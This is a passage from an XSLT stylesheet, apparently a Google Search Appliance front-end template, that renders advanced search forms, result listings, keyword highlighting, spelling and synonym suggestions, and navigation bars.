  1566.                           <input type="radio" name="access" value="p"/>Search public content only
  1567.                         </xsl:otherwise>
  1568.                         </xsl:choose>
  1569.                         <xsl:choose>
  1570.                           <xsl:when test="$access='a'">
  1571.                             <input type="radio" name="access" value="a" checked="checked" />Search public and secure content (login required)
  1572.                           </xsl:when>
  1573.                         <xsl:otherwise>
  1574.                           <input type="radio" name="access" value="a"/>Search public and secure content (login required)
  1575.                         </xsl:otherwise>
  1576.                         </xsl:choose>
  1577.                       </font></td>
  1578.                     </tr>
  1579.                     </xsl:if>
  1580.                   </table>
  1581.                 </td>
  1582.               </tr>
  1583.  
  1584.             </table>
  1585.           </td>
  1586.         </tr>
  1587.       </table>
  1588.       <br />
  1589.       <br />
  1590.  
  1591.       <!--====Page-Specific Search======-->
  1592.       <table cellpadding="6" cellspacing="0" border="0">
  1593.         <tr>
  1594.           <td><b>Page-Specific Search</b></td>
  1595.         </tr>
  1596.       </table>
  1597.  
  1598.       <table cellspacing="0" cellpadding="3" border="0"
  1599.       width="99%">
  1600.         <tr bgcolor="{$adv_search_panel_bgcolor}">
  1601.           <td>
  1602.             <table width="100%" cellpadding="0" cellspacing="0"
  1603.             border="0">
  1604.               <tr bgcolor="{$adv_search_panel_bgcolor}">
  1605.                 <td>
  1606.  
  1607.                   <table width="100%" cellpadding="2"
  1608.                   cellspacing="0" border="0">
  1609.                   <form method="get" action="/search" name="h">
  1610.  
  1611.                     <tr bgcolor="{$global_bg_color}">
  1612.                       <td width="15%"><font size="-1"><b>Links</b></font></td>
  1613.  
  1614.                       <td width="40%" nowrap="nowrap"><font size="-1">Find pages
  1615.                       that link to the page</font> </td>
  1616.  
  1617.                       <td nowrap="nowrap">
  1618.                           <xsl:choose>
  1619.                             <xsl:when test="PARAM[@name='as_lq']">
  1620.                               <input type="text" size="30" 
  1621.                                value="{PARAM[@name='as_lq']/@value}" 
  1622.                                        name="as_lq" />
  1623.                           </xsl:when>
  1624.                           <xsl:otherwise>
  1625.                             <input type="text" size="30" value="" name="as_lq" />
  1626.                           </xsl:otherwise>
  1627.                         </xsl:choose>
  1628.                         <font size="-1">
  1629.                         <input type="submit" name="btnG" value="{$search_button_text}" /></font>
  1630.                       </td>
  1631.                     </tr>
  1632.                   </form>
  1633.                   </table>
  1634.                 </td>
  1635.               </tr>
  1636.             </table>
  1637.           </td>
  1638.         </tr>
  1639.       </table>
  1640.  
  1641.       <xsl:call-template name="copyright"/>
  1642.  
  1643.     </form>
  1644.  
  1645.     <!-- *** Customer's own advanced search page footer *** -->
  1646.     <xsl:call-template name="my_page_footer"/>
  1647.  
  1648.   </body>
  1649. </html>
  1650. </xsl:template>
  1651.  
  1652.  
  1653. <!-- **********************************************************************
  1654.  Resend query with filter=p to disable path_filtering 
  1655.  if there is only one result cluster (do not customize)
  1656.      ********************************************************************** -->
  1657. <xsl:template name="redirect_if_few_results">
  1658.   <xsl:variable name="count" select="count(/GSP/RES/R)"/> 
  1659.   <xsl:variable name="start" select="/GSP/RES/@SN"/> 
  1660.   <xsl:variable name="filterall" 
  1661.     select="count(/GSP/PARAM[@name='filter']) = 0"/> 
  1662.   <xsl:variable name="filter" select="/GSP/PARAM[@name='filter']/@value"/> 
  1663.  
  1664.   <xsl:if test="$count = 2 and $start = 1 and ($filterall or $filter = '1')">
  1665.       <meta HTTP-EQUIV="REFRESH" content="0;url={$filter_url}p"/>
  1666.   </xsl:if>
  1667. </xsl:template>
  1668.  
  1669.  
  1670. <!-- **********************************************************************
  1671.  Search results (do not customize)
  1672.      ********************************************************************** -->
  1673. <xsl:template name="search_results">
  1674. <html>
  1675.  
  1676.   <!-- *** HTML header and style *** -->
  1677.   <xsl:call-template name="langHeadStart"/>
  1678.     <xsl:call-template name="redirect_if_few_results"/>
  1679.     <title><xsl:value-of select="$result_page_title"/>: <xsl:value-of 
  1680.       disable-output-escaping="yes" select="$html_escaped_query"/>
  1681.     </title>
  1682.     <xsl:call-template name="style"/>
  1683.     <script type="text/javascript">
  1684.       <xsl:comment>
  1685.         function resetForms() {
  1686.           for (var i = 0; i < document.forms.length; i++ ) { 
  1687.               document.forms[i].reset();
  1688.           }
  1689.         }
  1690.       //</xsl:comment>
  1691.     </script>
  1692.   <xsl:call-template name="langHeadEnd"/>
  1693.  
  1694.   <body onLoad="resetForms()">
  1695.  
  1696.   <!-- *** Customer's own result page header *** -->
  1697.   <xsl:if test="$choose_result_page_header = 'mine' or
  1698.         $choose_result_page_header = 'both'">
  1699.     <xsl:call-template name="my_page_header"/>
  1700.   </xsl:if>
  1701.  
  1702.   <!-- *** Result page header *** -->
  1703.   <xsl:if test="$choose_result_page_header = 'provided' or
  1704.         $choose_result_page_header = 'both'">
  1705.     <xsl:call-template name="result_page_header" />
  1706.   </xsl:if>
  1707.  
  1708.   <!-- *** Top separation bar *** -->
  1709.     <xsl:if test="Q != ''">
  1710.       <xsl:call-template name="top_sep_bar">
  1711.         <xsl:with-param name="query" select="Q"/>
  1712.         <xsl:with-param name="time" select="TM"/>
  1713.       </xsl:call-template>
  1714.     </xsl:if>
  1715.  
  1716.     <xsl:if test="$choose_sep_bar = 'line'">
  1717.       <hr size="1" color="gray"/>
  1718.     </xsl:if>
  1719.  
  1720.     <!-- *** Handle results (if any) *** -->
  1721.     <xsl:choose>
  1722.       <xsl:when test="RES or GM or Spelling or Synonyms or CT">
  1723.         <xsl:call-template name="results">
  1724.           <xsl:with-param name="query" select="Q"/>
  1725.           <xsl:with-param name="time" select="TM"/>
  1726.         </xsl:call-template>
  1727.       </xsl:when>
  1728.       <xsl:when test="Q=''">
  1729.       </xsl:when>
  1730.       <xsl:otherwise>
  1731.         <xsl:call-template name="no_RES">
  1732.           <xsl:with-param name="query" select="Q"/>
  1733.         </xsl:call-template>
  1734.       </xsl:otherwise>
  1735.     </xsl:choose>
  1736.  
  1737.     <!-- *** Google footer *** -->
  1738.     <xsl:call-template name="copyright"/>
  1739.  
  1740.     <!-- *** Customer's own result page footer *** -->
  1741.     <xsl:call-template name="my_page_footer"/>
  1742.  
  1743.   <!-- *** HTML footer *** -->
  1744.   </body>
  1745. </html>
  1746.  
  1747. </xsl:template>
  1748.  
  1749.  
  1750. <!-- ********************************************************************** 
  1751.   Subcollection menu beside the search box 
  1752.      ********************************************************************** -->
  1753. <xsl:template name="subcollection_menu">
  1754.   <xsl:if test="$search_subcollections_xslt != ''">
  1755.     <td valign="middle">
  1756.       <select name="restrict">
  1757.         <xsl:choose>
  1758.           <xsl:when test="PARAM[(@name='restrict') and (@value!='')]">
  1759.             <option value="">All documents</option>
  1760.           </xsl:when>
  1761.           <xsl:otherwise>
  1762.             <option value="" selected="selected">All documents</option>
  1763.           </xsl:otherwise>
  1764.         </xsl:choose>
  1765.         
  1766.       </select>
  1767.     </td>
  1768.   </xsl:if>
  1769. </xsl:template>
  1770.  
  1771. <!-- ********************************************************************** 
  1772.   Search box input form 
  1773.      ********************************************************************** -->
  1774. <xsl:template name="search_box">
  1775.   <form name="gs" method="GET" action="/search">
  1776.       <table cellpadding="0" cellspacing="0">
  1777.         <tr>
  1778.           <td valign="middle">
  1779.           <font size="-1">
  1780.             <xsl:text disable-output-escaping="yes">
  1781.               <input type="text" name="q" 
  1782.               size="</xsl:text>
  1783.             <xsl:value-of select="$search_box_size"/>
  1784.             <xsl:text disable-output-escaping="yes"
  1785.               >" maxlength="256" value="</xsl:text>
  1786.             <xsl:value-of disable-output-escaping="yes" 
  1787.               select="$html_escaped_query"/>
  1788.             <xsl:text disable-output-escaping="yes">"></xsl:text>
  1789.           </font>
  1790.           </td>
  1791.           <xsl:call-template name="subcollection_menu"/>
  1792.           <td valign="middle">
  1793.           <font size="-1">
  1794.             <xsl:call-template name="nbsp"/>
  1795.               <xsl:choose>
  1796.               <xsl:when test="$choose_search_button = 'image'">
  1797.             <input type="image" name="btnG" src="{$search_button_image_url}" 
  1798.                        valign="bottom" width="60" height="26" 
  1799.                        border="0" value="{$search_button_text}"/>
  1800.               </xsl:when>     
  1801.               <xsl:otherwise>
  1802.                 <input type="submit" name="btnG" value="{$search_button_text}"/>
  1803.               </xsl:otherwise>
  1804.               </xsl:choose>
  1805.           </font>
  1806.           </td>
  1807.         </tr>
  1808.         <xsl:if test="$show_secure_radio != '0'"> 
  1809.         <tr>
  1810.           <td colspan="2">
  1811.           <font size="-1">Search:
  1812.             <xsl:choose>
  1813.               <xsl:when test="$access='p'">
  1814.                 <input type="radio" name="access" value="p" checked="checked" />public content
  1815.               </xsl:when>
  1816.               <xsl:otherwise>
  1817.                 <input type="radio" name="access" value="p"/>public content
  1818.               </xsl:otherwise>
  1819.             </xsl:choose>
  1820.             <xsl:choose>
  1821.               <xsl:when test="$access='a'">
  1822.                 <input type="radio" name="access" value="a" checked="checked" />public and secure content
  1823.               </xsl:when>
  1824.               <xsl:otherwise>
  1825.                 <input type="radio" name="access" value="a"/>public and secure content
  1826.               </xsl:otherwise>
  1827.             </xsl:choose>
  1828.           </font>
  1829.           </td>
  1830.         </tr>
  1831.         </xsl:if>
  1832.       </table>
  1833.     <xsl:text>
  1834.     </xsl:text>
  1835.     <xsl:call-template name="form_params"/>
  1836.   </form>
  1837. </xsl:template>
  1838.  
  1839.  
  1840. <!-- ********************************************************************** 
  1841.   Bottom search box (do not customized)
  1842.      ********************************************************************** -->
  1843. <xsl:template name="bottom_search_box">
  1844.     <br clear="all"/>
  1845.     <br/>
  1846.     <center>
  1847.     <table border="0" cellpadding="2" cellspacing="0">
  1848.       <tr>
  1849.         <td nowrap="1">
  1850.           <xsl:call-template name="search_box"/>
  1851.         </td>
  1852.       </tr>
  1853.     </table>
  1854.     </center>
  1855. </xsl:template>
  1856.  
  1857.  
  1858. <!-- **********************************************************************
  1859.  Sort-by criteria: sort by date/relevance
  1860.      ********************************************************************** -->
  1861. <xsl:template name="sort_by">
  1862.   <xsl:variable name="sort_by_relevance_url"><xsl:for-each 
  1863.     select="/GSP/PARAM[(@name != 'sort') and
  1864.                (@name != 'start')]">
  1865.       <xsl:value-of select="@name"/><xsl:text>=</xsl:text>
  1866.       <xsl:value-of select="@original_value"/>
  1867.       <xsl:if test="position() != last()">
  1868.         <xsl:text disable-output-escaping="yes">&</xsl:text>
  1869.       </xsl:if>
  1870.     </xsl:for-each>
  1871.   </xsl:variable>
  1872.   <xsl:variable name="sort_by_date_url">
  1873.     <xsl:value-of select="$search_url"
  1874.       />&sort=date%3AD%3AS%3Ad1</xsl:variable>
  1875.  
  1876.   <table><tr valign='top'><td>
  1877.   <span class="s">
  1878.   <font color="{$global_text_color}">
  1879.     <xsl:text>Sort by: </xsl:text>
  1880.   </font>
  1881.   <xsl:choose>
  1882.     <xsl:when test="/GSP/PARAM[@name = 'sort' and starts-with(@value,'date')]">
  1883.       <font color="{$global_text_color}">
  1884.       <xsl:text>Date / </xsl:text>
  1885.       </font>
  1886.       <a href="/search?{$sort_by_relevance_url}">Relevance</a>
  1887.     </xsl:when>
  1888.     <xsl:otherwise>
  1889.       <a href="/search?{$sort_by_date_url}">Date</a>
  1890.       <font color="{$global_text_color}">
  1891.       <xsl:text> / Relevance</xsl:text>
  1892.       </font>
  1893.     </xsl:otherwise>
  1894.   </xsl:choose>
  1895.   </span>
  1896.   </td></tr></table>
  1897. </xsl:template>
  1898.  
  1899. <!-- **********************************************************************
  1900.  Output all results 
  1901.      ********************************************************************** -->
  1902. <xsl:template name="results">
  1903.   <xsl:param name="query"/>
  1904.   <xsl:param name="time"/>
  1905.  
  1906.   <!-- *** Add top navigation/sort-by bar *** -->
  1907.   <table width="100%">
  1908.   <tr>
  1909.     <xsl:if test="$show_top_navigation != '0'">
  1910.       <td align="left">
  1911.         <xsl:call-template name="google_navigation">
  1912.           <xsl:with-param name="prev" select="RES/NB/PU"/>
  1913.           <xsl:with-param name="next" select="RES/NB/NU"/>
  1914.           <xsl:with-param name="view_begin" select="RES/@SN"/>
  1915.           <xsl:with-param name="view_end" select="RES/@EN"/>
  1916.           <xsl:with-param name="guess" select="RES/M"/>
  1917.           <xsl:with-param name="navigation_style" select="'top'"/>
  1918.         </xsl:call-template>
  1919.       </td>
  1920.     </xsl:if>
  1921.     <xsl:if test="$show_sort_by != '0'">
  1922.     <td align="right">
  1923.       <xsl:call-template name="sort_by"/>
  1924.     </td>
  1925.     </xsl:if>
  1926.   </tr>
  1927.   </table>
  1928.  
  1929.   <!-- *** Handle spelling suggestions, if any *** -->
  1930.     <xsl:if test="$show_spelling != '0'">
  1931.       <xsl:call-template name="spelling"/>
  1932.     </xsl:if>
  1933.  
  1934.   <!-- *** Handle synonyms, if any *** -->
  1935.     <xsl:if test="$show_synonyms != '0'">
  1936.       <xsl:call-template name="synonyms"/>
  1937.     </xsl:if>
  1938.  
  1939.   <!-- *** Output results details *** -->
  1940.     <div>
  1941.     <!-- for keymatch results -->
  1942.     <xsl:if test="$show_keymatch != '0'">
  1943.       <xsl:apply-templates select="/GSP/GM"/>  
  1944.     </xsl:if>
  1945.  
  1946.     <!-- for real results -->
  1947.     <xsl:apply-templates select="RES/R">
  1948.       <xsl:with-param name="query" select="$query"/>
  1949.     </xsl:apply-templates>
  1950.  
  1951.   <!-- *** Filter note (if needed) *** -->
  1952.     <xsl:if test="(RES/FI) and (not(RES/NB/NU))">
  1953.       <p>
  1954.         <i>
  1955.         In order to show you the most relevant results, we have omitted 
  1956.         some entries very similar to the <xsl:value-of select="RES/@EN"/>
  1957.         already displayed.
  1958.         <br/>If you like, you can <a href="{$filter_url}0">
  1959.           repeat the search with the omitted results included</a>.
  1960.         </i>
  1961.       </p>
  1962.     </xsl:if>
  1963.     </div>
  1964.  
  1965.   <!-- *** Add bottom navigation *** -->
  1966.     <xsl:variable name="nav_style">
  1967.       <xsl:choose>
  1968.         <xsl:when test="($access='s') or ($access='a')">simple</xsl:when>
  1969.         <xsl:otherwise>
  1970.           <xsl:value-of select="$choose_bottom_navigation"/>
  1971.         </xsl:otherwise>
  1972.       </xsl:choose>
  1973.     </xsl:variable>
  1974.  
  1975.     <xsl:call-template name="google_navigation">
  1976.       <xsl:with-param name="prev" select="RES/NB/PU"/>
  1977.       <xsl:with-param name="next" select="RES/NB/NU"/>
  1978.       <xsl:with-param name="view_begin" select="RES/@SN"/>
  1979.       <xsl:with-param name="view_end" select="RES/@EN"/>
  1980.       <xsl:with-param name="guess" select="RES/M"/>
  1981.       <xsl:with-param name="navigation_style" select="$nav_style"/>
  1982.     </xsl:call-template>
  1983.  
  1984.   <!-- *** Bottom search box *** -->
  1985.     <xsl:if test="$show_bottom_search_box != '0'">
  1986.       <xsl:call-template name="bottom_search_box"/>
  1987.     </xsl:if>
  1988.  
  1989. </xsl:template>
  1990.  
  1991.  
  1992. <!-- **********************************************************************
  1993.  Stopwords suggestions in result page (do not customize)
  1994.      ********************************************************************** -->
  1995. <xsl:template name="stopwords">
  1996.   <xsl:variable name="stopwords_suggestions1">
  1997.     <xsl:call-template name="replace_string">
  1998.       <xsl:with-param name="find" select="'/help/basics.html#stopwords'"/>
  1999.       <xsl:with-param name="replace" select="'basics.html#stopwords'"/>
  2000.       <xsl:with-param name="string" select="/GSP/CT"/>
  2001.     </xsl:call-template>
  2002.   </xsl:variable>
  2003.  
  2004.   <xsl:variable name="stopwords_suggestions">
  2005.     <xsl:call-template name="replace_string">
  2006.       <xsl:with-param name="find" select="'/help/basics.html'"/>
  2007.       <xsl:with-param name="replace" select="'basics.html'"/>
  2008.       <xsl:with-param name="string" select="$stopwords_suggestions1"/>
  2009.     </xsl:call-template>
  2010.   </xsl:variable>
  2011.  
  2012.   <xsl:if test="/GSP/CT">
  2013.     <font size="-1" color="gray">
  2014.       <xsl:value-of disable-output-escaping="yes" 
  2015.         select="$stopwords_suggestions"/>
  2016.     </font>
  2017.   </xsl:if>
  2018. </xsl:template>
  2019.  
  2020.  
  2021. <!-- **********************************************************************
  2022.  Spelling suggestions in result page (do not customize)
  2023.      ********************************************************************** -->
  2024. <xsl:template name="spelling">
  2025.   <xsl:if test="/GSP/Spelling/Suggestion">
  2026.     <p><span class="p"><font color="{$spelling_text_color}">
  2027.          <xsl:value-of select="$spelling_text"/>
  2028.          <xsl:call-template name="nbsp"/>
  2029.        </font></span> 
  2030.        <a href="/search?q={/GSP/Spelling/Suggestion[1]/@q}&spell=1&{$base_url}">
  2031.        <xsl:value-of disable-output-escaping="yes" 
  2032.          select="/GSP/Spelling/Suggestion[1]"/>
  2033.       </a>
  2034.     </p>
  2035.   </xsl:if>
  2036. </xsl:template>
  2037.  
  2038.  
  2039. <!-- **********************************************************************
  2040.  Synonym suggestions in result page (do not customize)
  2041.      ********************************************************************** -->
  2042. <xsl:template name="synonyms">
  2043.   <xsl:if test="/GSP/Synonyms/OneSynonym">
  2044.     <p><span class="p"><font color="{$synonyms_text_color}">
  2045.          <xsl:value-of select="$synonyms_text"/>
  2046.          <xsl:call-template name="nbsp"/>
  2047.        </font></span> 
  2048.     <xsl:for-each select="/GSP/Synonyms/OneSynonym">
  2049.       <a href="/search?q={@q}&{$synonym_url}">
  2050.         <xsl:value-of disable-output-escaping="yes" select="."/>
  2051.       </a><xsl:text> </xsl:text>      
  2052.     </xsl:for-each>
  2053.     </p>
  2054.   </xsl:if>
  2055. </xsl:template>
  2056.  
  2057.  
  2058. <!-- ********************************************************************** 
  2059.   A single result (do not customize)
  2060.      ********************************************************************** -->
  2061. <xsl:template match="R">
  2062.   <xsl:param name="query"/>
  2063.   <xsl:variable name="stripped_url" select="substring-after(U, '://')"/>
  2064.   <xsl:variable name="full_url" select="UE"/>
  2065.   <xsl:variable name="crowded_url" select="HN/@U"/>
  2066.   <xsl:variable name="crowded_display_url" select="HN"/>
  2067.   <xsl:variable name="lower" select="'abcdefghijklmnopqrstuvwxyz'"/>
  2068.   <xsl:variable name="upper" select="'ABCDEFGHIJKLMNOPQRSTUVWXYZ'"/>
  2069.  
  2070.   <!-- *** Indent as required (only supports 2 levels) *** -->
  2071.   <xsl:if test="@L='2'"><xsl:text 
  2072.     disable-output-escaping="yes"><blockquote></xsl:text></xsl:if>
  2073.  
  2074.   <!-- *** Result Header *** -->
  2075.   <p>
  2076.  
  2077.   <!-- *** Result Title (including PDF tag and hyperlink) *** -->
  2078.   <xsl:if test="$show_res_title != '0'"> 
  2079.     <font size="-2"><b>
  2080.     <xsl:choose>
  2081.       <xsl:when test="@MIME='text/html' or @MIME='' or not(@MIME)"></xsl:when>
  2082.       <xsl:when test="@MIME='text/plain'">[TEXT]</xsl:when>
  2083.       <xsl:when test="@MIME='application/rtf'">[RTF]</xsl:when>
  2084.       <xsl:when test="@MIME='application/pdf'">[PDF]</xsl:when>
  2085.       <xsl:when test="@MIME='application/postscript'">[PS]</xsl:when>
  2086.       <xsl:when 
  2087.         test="@MIME='application/vnd.ms-powerpoint'">[MS POWERPOINT]</xsl:when>
  2088.       <xsl:when test="@MIME='application/vnd.ms-excel'">[MS EXCEL]</xsl:when>
  2089.       <xsl:when test="@MIME='application/msword'">[MS WORD]</xsl:when>
  2090.       <xsl:otherwise>
  2091.         <xsl:variable name="extension">
  2092.           <xsl:call-template name="last_substring_after">
  2093.             <xsl:with-param name="string" select="substring-after(
  2094.                                                   substring-after(U,'://'),
  2095.                                                   '/')"/>
  2096.             <xsl:with-param name="separator" select="'.'"/>
  2097.             <xsl:with-param name="fallback" select="'UNKNOWN'"/>
  2098.           </xsl:call-template>
  2099.         </xsl:variable>
  2100.         [<xsl:value-of select="translate($extension,$lower,$upper)"/>]
  2101.       </xsl:otherwise>
  2102.     </xsl:choose>
  2103.     </b></font>
  2104.     <xsl:text> </xsl:text>
  2105.  
  2106.     <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))"> 
  2107.       <xsl:text disable-output-escaping='yes'><a href="</xsl:text
  2108.       ><xsl:value-of disable-output-escaping='yes' select="U"
  2109.       /><xsl:text disable-output-escaping='yes'>"></xsl:text>
  2110.     </xsl:if> 
  2111.     <span class="l">
  2112.     <xsl:choose>
  2113.       <xsl:when test="T">
  2114.         <xsl:call-template name="reformat_keyword">
  2115.           <xsl:with-param name="orig_string" select="T"/>
  2116.         </xsl:call-template>
  2117.       </xsl:when>
  2118.       <xsl:otherwise><xsl:value-of select="$stripped_url"/></xsl:otherwise>
  2119.     </xsl:choose>
  2120.     </span>
  2121.     <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))">
  2122.         <xsl:text disable-output-escaping='yes'></a></xsl:text>
  2123.     </xsl:if> 
  2124.   </xsl:if>
  2125.     
  2126.   <!-- *** Snippet *** -->
  2127.   <xsl:if test="$show_res_snippet != '0'">
  2128.     <br/>
  2129.     <span class="s">
  2130.       <xsl:call-template name="reformat_keyword">
  2131.         <xsl:with-param name="orig_string" select="S"/>
  2132.       </xsl:call-template>
  2133.     </span>
  2134.   </xsl:if>
  2135.  
  2136.   <!-- *** Description *** -->
  2137.   <xsl:if test="$show_res_description != '0'">
  2138.     <xsl:apply-templates select="HAS/DI/DS"/>
  2139.   </xsl:if>
  2140.  
  2141.   <!-- *** URL *** -->
  2142.     <br/>
  2143.     <font color="{$res_url_color}" size="{$res_url_size}">
  2144.       <xsl:choose>
  2145.         <xsl:when test="starts-with($stripped_url, 'noindex!/')">
  2146.           <xsl:if test="($show_res_size!='0') or 
  2147.                         ($show_res_date!='0') or 
  2148.                         ($show_res_cache!='0')">
  2149.             <xsl:text>Not Indexed: </xsl:text>
  2150.             <xsl:value-of select="substring($stripped_url, 10)"/>
  2151.           </xsl:if>
  2152.     </xsl:when>
  2153.         <xsl:otherwise>
  2154.           <xsl:if test="$show_res_url != '0'">
  2155.             <xsl:value-of select="$stripped_url"/>
  2156.           </xsl:if>
  2157.         </xsl:otherwise>
  2158.       </xsl:choose>
  2159.     </font>
  2160.  
  2161.   <!-- *** Miscellaneous (- size - date - cache) *** -->
  2162.     <xsl:if test="not(starts-with($stripped_url, 'noindex!/'))">
  2163.       <xsl:apply-templates select="HAS/C">
  2164.         <xsl:with-param name="full_url" select="$full_url"/>
  2165.         <xsl:with-param name="query" select="$query"/>
  2166.         <xsl:with-param name="mime" select="@MIME"/>
  2167.         <xsl:with-param name="date" select="FS[@NAME='date']/@VALUE"/>
  2168.       </xsl:apply-templates>
  2169.     </xsl:if>
  2170.  
  2171.  
  2172.   <!-- *** Link to more links from this site *** -->
  2173.       <xsl:if test="HN">
  2174.         <br/>
  2175.         [
  2176.         <a class="f" href="/search?as_sitesearch={$crowded_url}&{
  2177.           $search_url}">More results from <xsl:value-of 
  2178.       select="$crowded_display_url"/></a>
  2179.         ]
  2180.       </xsl:if>
  2181.  
  2182.  
  2183.   <!-- *** Result Footer *** -->
  2184.   </p>
  2185.  
  2186.   <!-- *** End indenting as required (only supports 2 levels) *** -->
  2187.   <xsl:if test="@L='2'"><xsl:text 
  2188.     disable-output-escaping="yes"></blockquote></xsl:text>
  2189.   </xsl:if>
  2190.  
  2191. </xsl:template>
  2192.  
  2193.  
  2194. <!-- ********************************************************************** 
  2195.   A single keymatch result (do not customize)
  2196.      ********************************************************************** -->
  2197. <xsl:template match="GM">
  2198.   <p>
  2199.     <table cellpadding="4" cellspacing="0" border="0" height="40" width="100%">
  2200.       <tr>
  2201.         <td nowrap="0" bgcolor="{$keymatch_bg_color}" height="40">
  2202.           <a href="{GL}">
  2203.             <xsl:value-of select="GD"/>
  2204.           </a>
  2205.           <br/>
  2206.           <font size="-1" color="{$res_url_color}">
  2207.             <span class="a">
  2208.                <xsl:value-of select="GL"/>
  2209.             </span>
  2210.           </font>
  2211.         </td>
  2212.         <td bgcolor="{$keymatch_bg_color}" height="40" 
  2213.           align="right" valign="top">
  2214.       <b>
  2215.           <font size="-1" color="{$keymatch_text_color}">
  2216.             <xsl:value-of select="$keymatch_text"/>
  2217.           </font>
  2218.       </b>
  2219.         </td>
  2220.       </tr>           
  2221.     </table>
  2222.   </p>
  2223. </xsl:template>
  2224.  
  2225.  
  2226. <!-- ********************************************************************** 
  2227.   Variables for reformatting keyword-match display (do not customize)
  2228.      ********************************************************************** -->
  2229. <xsl:variable name="keyword_orig_start" select="'<b>'"/>
  2230. <xsl:variable name="keyword_orig_end" select="'</b>'"/>
  2231.  
  2232. <xsl:variable name="keyword_reformat_start">
  2233.   <xsl:if test="$res_keyword_format">
  2234.     <xsl:text><</xsl:text>
  2235.     <xsl:value-of select="$res_keyword_format"/>
  2236.     <xsl:text>></xsl:text>
  2237.   </xsl:if>
  2238.   <xsl:if test="($res_keyword_size) or ($res_keyword_color)">
  2239.   <xsl:text><font</xsl:text>
  2240.   <xsl:if test="$res_keyword_size">
  2241.     <xsl:text> size="</xsl:text>
  2242.     <xsl:value-of select="$res_keyword_size"/>
  2243.     <xsl:text>"</xsl:text>
  2244.   </xsl:if>
  2245.   <xsl:if test="$res_keyword_color">
  2246.     <xsl:text> color="</xsl:text>
  2247.     <xsl:value-of select="$res_keyword_color"/>
  2248.     <xsl:text>"</xsl:text>
  2249.   </xsl:if>
  2250.   <xsl:text>></xsl:text>
  2251.   </xsl:if>
  2252. </xsl:variable>
  2253.  
  2254. <xsl:variable name="keyword_reformat_end">
  2255.   <xsl:if test="($res_keyword_size) or ($res_keyword_color)">
  2256.     <xsl:text></font></xsl:text>
  2257.   </xsl:if>
  2258.   <xsl:if test="$res_keyword_format">
  2259.     <xsl:text></</xsl:text>
  2260.     <xsl:value-of select="$res_keyword_format"/>
  2261.     <xsl:text>></xsl:text>
  2262.   </xsl:if>
  2263. </xsl:variable>
  2264.  
  2265. <!-- ********************************************************************** 
  2266.   Reformat the keyword match display in a title/snippet string 
  2267.      (do not customize)
  2268.      ********************************************************************** -->
  2269. <xsl:template name="reformat_keyword">
  2270.   <xsl:param name="orig_string"/>
  2271.  
  2272.   <xsl:variable name="reformatted_1">
  2273.     <xsl:call-template name="replace_string">
  2274.       <xsl:with-param name="find" select="$keyword_orig_start"/>
  2275.       <xsl:with-param name="replace" select="$keyword_reformat_start"/>
  2276.       <xsl:with-param name="string" select="$orig_string"/>
  2277.     </xsl:call-template>
  2278.   </xsl:variable>
  2279.  
  2280.   <xsl:variable name="reformatted_2">
  2281.     <xsl:call-template name="replace_string">
  2282.       <xsl:with-param name="find" select="$keyword_orig_end"/>
  2283.       <xsl:with-param name="replace" select="$keyword_reformat_end"/>
  2284.       <xsl:with-param name="string" select="$reformatted_1"/>
  2285.     </xsl:call-template>
  2286.   </xsl:variable>
  2287.  
  2288.   <xsl:value-of disable-output-escaping='yes' select="$reformatted_2"/>
  2289.  
  2290. </xsl:template>
  2291.  
  2292.  
  2293. <!-- ********************************************************************** 
  2294.   Helper templates for generating a result item (do not customize)
  2295.      ********************************************************************** -->
  2296.  
  2297. <!-- *** Description *** -->
  2298. <xsl:template match="DS">
  2299.     <br/>
  2300.     <font size="-1">
  2301.       <span class="f">Description: </span><xsl:value-of 
  2302.         disable-output-escaping='yes' select="."/>
  2303.     </font>
  2304. </xsl:template>
  2305.  
  2306. <!-- *** Miscellaneous: - size - date - cache *** -->
  2307. <xsl:template match="C">
  2308.     <xsl:param name="full_url"/>
  2309.     <xsl:param name="query"/>
  2310.     <xsl:param name="mime"/>
  2311.     <xsl:param name="date"/>
  2312.  
  2313.     <xsl:variable name="docid"><xsl:value-of select="@CID"/></xsl:variable>
  2314.  
  2315.     <xsl:if test="$show_res_size != '0'">
  2316.     <xsl:if test="not(@SZ='')">
  2317.       <font size="-1">
  2318.         <xsl:text> - </xsl:text>
  2319.         <xsl:value-of select="@SZ"/>
  2320.       </font>
  2321.     </xsl:if>
  2322.     </xsl:if>
  2323.  
  2324.     <xsl:if test="$show_res_date != '0'">
  2325.     <xsl:if test="($date != '') and 
  2326.                   (translate($date, '-', '') > 19500000) and 
  2327.                   (translate($date, '-', '') < 21000000)">
  2328.       <font size="-1">
  2329.         <xsl:text> - </xsl:text>
  2330.         <xsl:value-of select="$date"/>
  2331.       </font>
  2332.     </xsl:if>
  2333.     </xsl:if>
  2334.  
  2335.     <xsl:if test="$show_res_cache != '0'">
  2336.         <xsl:text> - </xsl:text>
  2337.         <a class="f" href="/search?q=cache:{$docid}{$full_url}+{
  2338.                            $stripped_search_query}&{$base_url}">
  2339.           <xsl:choose>
  2340.             <xsl:when test="not($mime)">Cached</xsl:when>
  2341.             <xsl:when test="$mime='text/html'">Cached</xsl:when>
  2342.             <xsl:when test="$mime='text/plain'">Cached</xsl:when>
  2343.             <xsl:otherwise>Text Version</xsl:otherwise>
  2344.           </xsl:choose>
  2345.         </a>
  2346.     </xsl:if>
  2347.     
  2348. </xsl:template>
  2349.  
  2350.  
  2351. <!-- **********************************************************************
  2352.  Google navigation bar in result page (do not customize)
  2353.      ********************************************************************** -->
  2354. <xsl:template name="google_navigation">
  2355.     <xsl:param name="prev"/>
  2356.     <xsl:param name="next"/>
  2357.     <xsl:param name="view_begin"/>
  2358.     <xsl:param name="view_end"/>
  2359.     <xsl:param name="guess"/>
  2360.     <xsl:param name="navigation_style"/>
  2361.  
  2362.   <xsl:variable name="fontclass">
  2363.     <xsl:choose>
  2364.       <xsl:when test="$navigation_style = 'top'">s</xsl:when>
  2365.       <xsl:otherwise>b</xsl:otherwise>
  2366.     </xsl:choose> 
  2367.   </xsl:variable>
  2368.  
  2369.   <!-- *** Test to see if we should even show navigation *** -->
  2370.   <xsl:if test="($prev) or ($next)">
  2371.  
  2372.   <!-- *** Start Google result navigation bar *** -->
  2373.  
  2374.     <xsl:if test="$navigation_style != 'top'">
  2375.       <xsl:text disable-output-escaping="yes"><center>
  2376.         <div class="n"></xsl:text>
  2377.     </xsl:if>
  2378.     
  2379.     <table border="0" cellpadding="0" width="1%" cellspacing="0">
  2380.       <tr align="center" valign="top">
  2381.     <xsl:if test="$navigation_style != 'top'">
